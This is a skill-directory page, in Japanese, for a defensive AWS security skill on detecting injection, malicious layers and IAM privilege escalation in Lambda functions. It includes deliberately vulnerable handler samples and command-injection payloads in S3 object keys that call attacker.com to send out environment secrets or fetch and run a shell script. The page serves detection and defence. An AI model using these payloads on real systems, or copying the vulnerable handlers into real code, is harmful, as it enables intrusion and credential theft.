mcpField
D
detecting-serverless-function-injection

detecting-serverless-function-injection

github.com/mukul975セキュリティ35.2k68 回インストール8 週間前に更新
リポジトリ

detecting-serverless-function-injection について

サーバーレス関数とクラウド上の活動を調査し、インジェクション、悪意あるレイヤー変更、Lambdaの権限昇格経路を確認するセキュリティスキルです。コードスキャン、イベントソースの点検、AWSログの照会を案内します。

主な機能

  1. 01Lambdaのトリガーと権限の把握
  2. 02コード内のインジェクション箇所のスキャン
  3. 03イベントソース汚染リスクの確認
  4. 04Lambdaレイヤー変更の監査
  5. 05IAM権限昇格活動の検出

活用シーン

  1. 01リリース前のLambdaコード監査
  2. 02不審な関数変更の調査
  3. 03イベントペイロード注入リスクの確認
  4. 04AWSでの権限昇格の監視

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill detecting-serverless-function-injection

インストール後、Claude Code で/detecting-serverless-function-injectionを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

サーバーレス関数へのコードインジェクションの検出

使用する場面

  • サニタイズされていないイベントデータが危険なランタイム関数(eval、exec、child_process.exec、os.system)に渡されることによるコードインジェクションの脆弱性について、Lambda/Cloud Functions を監査する場合
  • 攻撃者が関数コードやレイヤーを改変し、サーバーレス環境に永続化したり、データを外部に流出させたりしたインシデントを調査する場合
  • lambda:UpdateFunctionCode と iam:PassRole を持つ攻撃者が、より高い権限を持つ実行ロールを引き受ける権限昇格経路を検出する場合
  • S3 オブジェクトのアップロード、SQS メッセージ、DynamoDB ストリームレコード、または関数の実行をトリガーする API Gateway リクエストを通じて悪意のあるペイロードが注入される、イベントソース汚染攻撃を分析する場合
  • 不正な関数の変更、レイヤーの追加、不審な呼び出しパターンを監視するサーバーレスワークロード向けに、SOC チーム用の検出ルールを構築する場合

使用しないでください。サーバーレス関数に対する負荷テストやサービス拒否のシミュレーション、本番環境で顧客のライブデータを処理する関数に対する明示的な許可のないテスト、または変更管理の承認を得ずに共有アカウントの IAM ポリシーを変更する場合には使用しないでください。

前提条件

  • Lambda、CloudTrail、IAM、CloudWatch Logs、EventBridge に対する読み取り権限を持つ AWS アカウントへのアクセス
  • 適切な認証情報とリージョンを設定した AWS CLI v2
  • Lambda のデータイベント(Invoke イベントを記録)と管理イベント(UpdateFunctionCode、UpdateFunctionConfiguration、CreateFunction を記録)を有効にした CloudTrail
  • 静的解析用の boto3、bandit(Python SAST)、semgrep を含む Python 3.9 以降
  • 静的解析用の関数ソースコードまたはデプロイパッケージへのアクセス
  • Lambda 実行ログをクエリするための CloudWatch Logs Insights へのアクセス

ワークフロー

ステップ 1:サーバーレスの攻撃対象領域を列挙する

すべての Lambda 関数とイベントソースのトリガーをマッピングし、コードインジェクションの侵入経路を把握します。

  • すべての Lambda 関数とその設定を一覧表示する:
    aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
    
  • イベントソースマッピングを確認する:各イベントソースマッピングは、信頼できないデータが関数に入る潜在的なコードインジェクションの侵入経路です:
    aws lambda list-event-source-mappings --output json | \
      jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
    
  • API Gateway のトリガーを特定する:API Gateway のルートは、HTTP リクエストデータ(ヘッダー、クエリ文字列、本文、パスパラメーター)を Lambda イベントオブジェクトに直接渡します:
    aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
    
    各 API について、リソースとメソッドを列挙し、ユーザーが制御できる HTTP 入力を受け取る Lambda 関数を特定します。
  • S3 イベントトリガーを特定する:S3 バケット通知は、攻撃者が制御できるオブジェクトキーとメタデータを含むイベントで Lambda をトリガーする場合があります:
    aws s3api get-bucket-notification-configuration --bucket <bucket-name>
    
  • 関数の環境変数を一覧化する:攻撃者が関数内でコードを実行すると、環境変数に含まれるシークレットが漏えいするおそれがあります:
    aws lambda get-function-configuration --function-name <name> \
      --query 'Environment.Variables' --output json
    
  • 過剰な権限を持つ実行ロールを特定する:* のリソース権限や管理者ポリシーを持つ関数は、価値の高い権限昇格の標的です:
    aws iam list-attached-role-policies --role-name <lambda-exec-role>
    aws iam list-role-policies --role-name <lambda-exec-role>
    
ステップ 2:コードインジェクションのシンクを静的解析する

イベントデータがコードやコマンドとして実行される危険なパターンがないか、関数コードをスキャンします。

  • 関数のデプロイパッケージをダウンロードする:

    aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
    unzip function.zip -d function_code/
    
  • Python のコードインジェクションシンク(Lambda Python ランタイム):文字列をコードとして実行する関数を検索します:

    # DANGEROUS: Direct eval/exec of event data
    eval(event['expression'])           # Code injection via eval
    exec(event['code'])                 # Arbitrary code execution
    os.system(event['command'])         # OS command injection
    subprocess.call(event['cmd'], shell=True)  # Shell injection
    os.popen(event['input'])            # Command injection
    pickle.loads(event['data'])         # Deserialization attack
    yaml.load(event['config'])          # YAML deserialization (unsafe loader)
    
  • Node.js のコードインジェクションシンク(Lambda Node.js ランタイム):

    // DANGEROUS: Direct execution of event data
    eval(event.expression);                    // Code injection
    new Function(event.code)();               // Dynamic function creation
    child_process.exec(event.command);         // OS command injection
    child_process.execSync(event.cmd);         // Synchronous command injection
    vm.runInNewContext(event.script);          // Sandbox escape potential
    require('child_process').exec(event.input); // Import-and-execute pattern
    
  • サーバーレス向けルールで Semgrep を実行する:イベントデータがコードインジェクションのシンクに渡されることを検出する、専用のルールを使用します:

    semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
      --config "p/python-security" function_code/ --json --output semgrep_results.json
    
  • Python 関数に対して Bandit を実行する:

    bandit -r function_code/ -f json -o bandit_results.json \
      -t B102,B301,B307,B602,B603,B604,B605,B606,B607
    

    これらのテスト ID は、exec、pickle、eval、shell=True を指定した subprocess など、コードインジェクションに関連するパターンを対象としています。

  • カスタムパターンを検出する:イベントデータが文字列に連結され、その文字列が後から実行される間接的なコードインジェクションのパターンを検索します:

    # Indirect injection: event data flows into SQL query string
    query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
    cursor.execute(query)  # SQL injection
    
    # Indirect injection: event data flows into template rendering
    template = event['template']
    rendered = jinja2.Template(template).render()  # SSTI
    
ステップ 3:イベントソースのポイズニングを検出する

Lambda がトリガーを処理する仕組みを悪用するインジェクションペイロードがないか、イベントソースを分析します。

  • S3 イベントキーのインジェクション:Lambda 関数が S3 イベントを処理する場合、イベントレコードのオブジェクトキーにインジェクションペイロードが含まれている可能性があります。攻撃者は悪意のあるキー名を持つオブジェクトをアップロードします。

    # Vulnerable Lambda handler
    def handler(event, context):
        bucket = event['Records'][0]['s3']['bucket']['name']
        key = event['Records'][0]['s3']['object']['key']
        # VULNERABLE: key is attacker-controlled
        os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
    

    攻撃:キー ; curl http://attacker.com/exfil?data=$(env) のオブジェクトをアップロードし、S3 イベントを介してコマンドを注入します。

  • SQS メッセージ本文のインジェクション:Lambda は、本文に攻撃者が制御するデータが含まれる SQS メッセージを処理します。

    # Vulnerable Lambda handler
    def handler(event, context):
        for record in event['Records']:
            message = json.loads(record['body'])
            # VULNERABLE: message content used in eval
            result = eval(message['formula'])
    
  • API Gateway のヘッダー/パラメーターインジェクション:HTTP リクエストデータは API Gateway を通じて Lambda イベントに渡されます。

    # Vulnerable Lambda handler
    def handler(event, context):
        user_agent = event['headers']['User-Agent']
        # VULNERABLE: header value used in shell command
        subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
    
  • DynamoDB Streams レコードのインジェクション:DynamoDB アイテムが変更されると、新しいレコード値を含むイベントで Lambda がトリガーされます。攻撃者がテーブルに書き込める場合、イベントデータを制御できます。

    # Vulnerable Lambda handler
    def handler(event, context):
        for record in event['Records']:
            new_image = record['dynamodb']['NewImage']
            config = new_image['config']['S']
            # VULNERABLE: DynamoDB record value used in exec
            exec(config)
    
  • CloudWatch Logs Insights による検出:関数の実行ログを検索し、インジェクション試行の証拠を探します。

    fields @timestamp, @message
    | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
    | filter @message like /(?i)(error|exception|traceback|syntax)/
    | sort @timestamp desc
    | limit 100
    
ステップ 4:悪意のある Lambda レイヤーの注入を検出する

関数の実行を傍受したり、データを流出させたりする、許可されていない Lambda レイヤーを特定します。

  • 現在のレイヤーのアタッチ状況を監査する:すべての関数とレイヤーのバージョンを一覧表示し、予期しない追加がないか確認します。

    aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
    
  • CloudTrail でレイヤー変更イベントを検出する:レイヤーを追加または変更する UpdateFunctionConfiguration イベントを検索します。

    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
      --start-time "2026-03-12T00:00:00Z" \
      --end-time "2026-03-19T23:59:59Z" \
      --query 'Events[*].[EventTime,Username,CloudTrailEvent]'
    

    CloudTrailEvent の JSON を解析し、リクエストパラメーター内で Layers が変更されているか確認します。

  • レイヤーの内容を分析する:レイヤーパッケージをダウンロードし、悪意のあるコードがないか調べます。

    aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
      --query 'Content.Location' --output text | xargs curl -o layer.zip
    unzip layer.zip -d layer_contents/
    # Search for suspicious patterns
    grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
    
  • レイヤー乗っ取りの兆候:悪意のあるレイヤーは、ランタイムの検索パスにファイルを配置して、関数のランタイム動作を上書きできます。

    • Python:/opt/python/ 内のレイヤーコードは、関数独自のモジュールより先にインポートされます
    • Node.js:/opt/nodejs/node_modules/ 内のレイヤーコードは、関数の依存関係を上書きします
    • 変更された boto3 パッケージを提供するレイヤーは、すべての AWS API 呼び出しを傍受し、認証情報を記録して、攻撃者が管理するエンドポイントにリクエストを転送できます
  • レイヤー変更を検出する CloudTrail クエリ:

    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
        "errorCode": [{"exists": false}]
      }
    }
    
ステップ 5:Lambda を介した IAM 権限昇格を検出する

攻撃者が関数を変更して、より高い権限を持つロールを引き受ける権限昇格経路を特定します。

  • Lambda の権限昇格パターン:lambda:UpdateFunctionCode と iam:PassRole の権限を持つ攻撃者は、次のことができます。

    1. 高い権限を持つ実行ロール(例:AdministratorAccess)が設定された Lambda 関数を特定する
    2. 関数のコードを変更して、sts:GetCallerIdentity を呼び出すか、特権操作を実行する
    3. 関数を呼び出し、高い権限を持つロールで実行させる
    4. 関数の環境変数(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN)からロールの一時認証情報を流出させる
  • UpdateFunctionCode イベントを検出する:関数コードの変更を CloudTrail で監視します。

    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
      --start-time "2026-03-12T00:00:00Z" \
      --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
    
  • Lambda への PassRole を検出する:関数に別の実行ロールをアタッチするには iam:PassRole が必要です。次のように監視します。

    # CloudWatch Logs Insights on CloudTrail logs
    fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
    | filter eventName = "UpdateFunctionConfiguration20150331v2"
    | filter ispresent(requestParameters.role)
    | sort eventTime desc
    
  • Lambda からの認証情報流出を検出する:侵害された関数は STS を呼び出したり、新しい IAM エンティティを作成したりする可能性があります。

    fields eventTime, userIdentity.arn, eventName, sourceIPAddress
    | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
    | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
        "CreateAccessKey", "AssumeRole", "PutUserPolicy"]
    | sort eventTime desc
    
  • リアルタイムアラート用の EventBridge ルール:関数コードが変更されるたびに SNS アラートを送信する EventBridge ルールを作成します。

    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": [
          "UpdateFunctionCode20150331v2",
          "UpdateFunctionConfiguration20150331v2",
          "CreateFunction20150331"
        ],
        "errorCode": [{"exists": false}]
      }
    }
    
ステップ 6:実行時のインジェクション防止を実装する

実行時にインジェクションを防止する保護制御を導入します。

  • ハンドラーの入口での入力検証:処理の前に、すべてのイベントデータを検証してサニタイズします。

    import re
    import json
    from functools import wraps
    
    SAFE_PATTERNS = {
        'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
        'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
        'action': re.compile(r'^(get|list|create|update|delete)$'),
    }
    
    def validate_event(schema):
        """Decorator that validates Lambda event against a whitelist schema."""
        def decorator(func):
            @wraps(func)
            def wrapper(event, context):
                for field, pattern in schema.items():
                    value = event.get(field, '')
                    if isinstance(value, str) and not pattern.match(value):
                        return {
                            'statusCode': 400,
                            'body': json.dumps({'error': f'Invalid {field}'})
                        }
                return func(event, context)
            return wrapper
        return decorator
    
    @validate_event(SAFE_PATTERNS)
    def handler(event, context):
        # Event data is validated before reaching this point
        user_id = event['userId']
        # Safe to use in queries with parameterized statements
        return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
    
  • Lambda 関数 URL の認可:URL 経由で公開される関数に IAM 認証が必要となるようにします。

    aws lambda get-function-url-config --function-name <name> \
      --query 'AuthType' --output text
    # Must return "AWS_IAM", not "NONE"
    
  • 最小権限の実行ロール:関数の IAM ロールを、必要最小限の権限に制限します。

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": [
            "dynamodb:GetItem",
            "dynamodb:PutItem"
          ],
          "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
        },
        {
          "Effect": "Allow",
          "Action": "logs:*",
          "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
        }
      ]
    }
    
  • 危険な Lambda の変更を防ぐ SCP:組織レベルでサービスコントロールポリシーを適用し、Lambda 関数の変更やロールの引き継ぎができるユーザーを制限します。

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "DenyLambdaCodeUpdateExceptCICD",
          "Effect": "Deny",
          "Action": [
            "lambda:UpdateFunctionCode",
            "lambda:UpdateFunctionConfiguration"
          ],
          "Resource": "*",
          "Condition": {
            "StringNotLike": {
              "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
            }
          }
        }
      ]
    }
    
  • 構造化ログのための AWS Lambda Powertools:SIEM に取り込める構造化セキュリティイベントを出力します。

    from aws_lambda_powertools import Logger, Tracer
    from aws_lambda_powertools.utilities.validation import validate
    
    logger = Logger(service="payment-processor")
    tracer = Tracer()
    
    @logger.inject_lambda_context
    @tracer.capture_lambda_handler
    def handler(event, context):
        logger.info("Processing event", extra={
            "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
            "user_agent": event.get('headers', {}).get('User-Agent'),
            "http_method": event.get('httpMethod'),
        })
    

主な概念

用語定義
イベントソースポイズニングサーバーレスのイベントソース(S3、SQS、DynamoDB Stream、API Gateway)に悪意のあるデータを注入し、関数がイベントを処理する際にコード実行やインジェクションを引き起こす攻撃です
関数インジェクションサーバーレス関数のハンドラー内で、サニタイズされていないイベントデータが危険な実行時関数(eval、exec、os.system、child_process.exec)に渡されることを悪用する攻撃です
Lambda レイヤーの乗っ取り悪意のある Lambda レイヤーを関数にアタッチし、実行を傍受したり、依存関係を上書きしたり、ランタイムのモジュール検索パスにコードを配置してデータを窃取したりする攻撃です
Lambda 経由の IAM 権限昇格UpdateFunctionCode と PassRole の権限を持つ攻撃者が関数を変更し、より高い権限を持つ IAM ロールで実行して、一時的な認証情報を取得する手法です
OWASP Serverless Top 10インジェクション(SAS-1)、認証の不備(SAS-2)、過剰な権限を持つ関数(SAS-6)など、サーバーレスアーキテクチャにおける最も重大な 10 のリスクを特定するセキュリティフレームワークです
コールドスタートインジェクションハンドラーの実行前に環境変数、レイヤーコード、拡張機能が実行される関数の初期化フェーズを標的とし、監視されていない状況で攻撃を行う可能性がある手法です
実行ロール実行中に Lambda 関数が引き受ける IAM ロールです。一時的な認証情報を提供し、関数がアクセスできる AWS API の権限を定義します

ツールとシステム

  • Semgrep:Python、Node.js、Java、Go の Lambda ランタイム全体で、イベントデータがインジェクションの実行先に渡されることを検出する、サーバーレス専用ルールパックを備えた静的解析ツールです
  • Bandit:eval、exec、shell=True を指定した subprocess、pickle のデシリアライズの使用など、セキュリティ上の問題を特定する Python 専用の SAST ツールです
  • AWS CloudTrail:Lambda の管理イベント(UpdateFunctionCode、CreateFunction)とデータイベント(Invoke)を記録し、不正な変更や異常な呼び出しパターンの検出に役立ちます
  • CloudWatch Logs Insights:Lambda の実行ログを検索し、インジェクション試行の兆候、実行時エラー、不審なコマンドパターンを調べるクエリエンジンです
  • AWS Config:レイヤーのインベントリ、実行ロールの権限、関数 URL の認可タイプなど、コンプライアンスルールに照らして Lambda 関数の設定を評価します
  • Prowler:パブリックアクセス、過剰な権限を持つロール、暗号化の欠如を確認する Lambda 専用チェックを備えた、オープンソースの AWS セキュリティ評価ツールです

一般的なシナリオ

シナリオ:Lambda ベースの権限昇格攻撃を検知して対応する

状況:ある SOC アナリストが、複数の Lambda 関数で使用される IAM ロールに対する UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS の GuardDuty アラートを受け取ります。調査の結果、攻撃者が lambda:UpdateFunctionCode 権限を持つ開発者の AWS 認証情報を侵害し、決済処理関数を改ざんして、実行ロールの一時認証情報を外部に流出させたことが判明します。

アプローチ:

  1. CloudTrail で過去 7 日間の UpdateFunctionCode イベントを検索し、関数がいつ、どのプリンシパルによって変更されたかを特定します。
    fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
    | filter eventName = "UpdateFunctionCode20150331v2"
    | filter requestParameters.functionName = "payment-processor"
    | sort eventTime desc
    
  2. 通常のデプロイ時間外である 02:47 UTC に、予期しない地理的位置の IP アドレスから関数が変更されたことを確認します。
  3. 変更された関数コードをダウンロードし、各呼び出し時に os.environ['AWS_ACCESS_KEY_ID']、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN を外部エンドポイントに POST する、挿入されたコードを見つけます。
  4. レイヤーの変更を含む UpdateFunctionConfiguration イベントを検索し、攻撃者が悪意のあるレイヤーも追加していないか確認します。
  5. 関数の実行ロールの権限を確認します。決済処理ロールにはすべてのリソースに対する dynamodb:*、s3:GetObject、s3:PutObject、sqs:SendMessage が付与されており、最小権限の原則を超えています。
  6. CloudTrail で、流出した認証情報を使って AWS 外部から実行された API 呼び出しを検索します。sts:GetCallerIdentity、s3:ListBuckets、顧客テーブルに対する dynamodb:Scan、iam:CreateUser の試行が見つかります。
  7. CI/CD アーティファクトストアにある最後の正常なデプロイパッケージから関数コードを復元し、実行ロールのセッショントークンをローテーションします。また、lambda:UpdateFunctionCode を CI/CD ロールのみに制限する SCP を追加します。

注意点:

  • 関数コードだけを確認し、関数コードを復元した後も残る悪意のあるレイヤーを見落とす
  • 流出した認証情報による他の AWS サービスへの水平移動を調査せず、DynamoDB や S3 からのデータ流出を見落とす
  • 認証情報が有効だった期間に、攻撃者が新しい IAM ユーザー、アクセスキー、ロールを作成したか確認しない
  • フォレンジック証拠として悪意のあるコードを保全する前に関数を復元する
  • 修復後に予防的な制御(SCP、EventBridge アラート)を実装せず、同じ攻撃経路を残す

出力形式

## Serverless Function Injection Assessment

**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19

### Critical Findings

#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
  Object key: `; curl http://attacker.com/shell.sh | bash`
  Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
  and validate the S3 key against an allowlist pattern.

#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
  lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.

#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
  invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
  function's deployment package, add AWS Config rule to block external layers.

### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions

コメント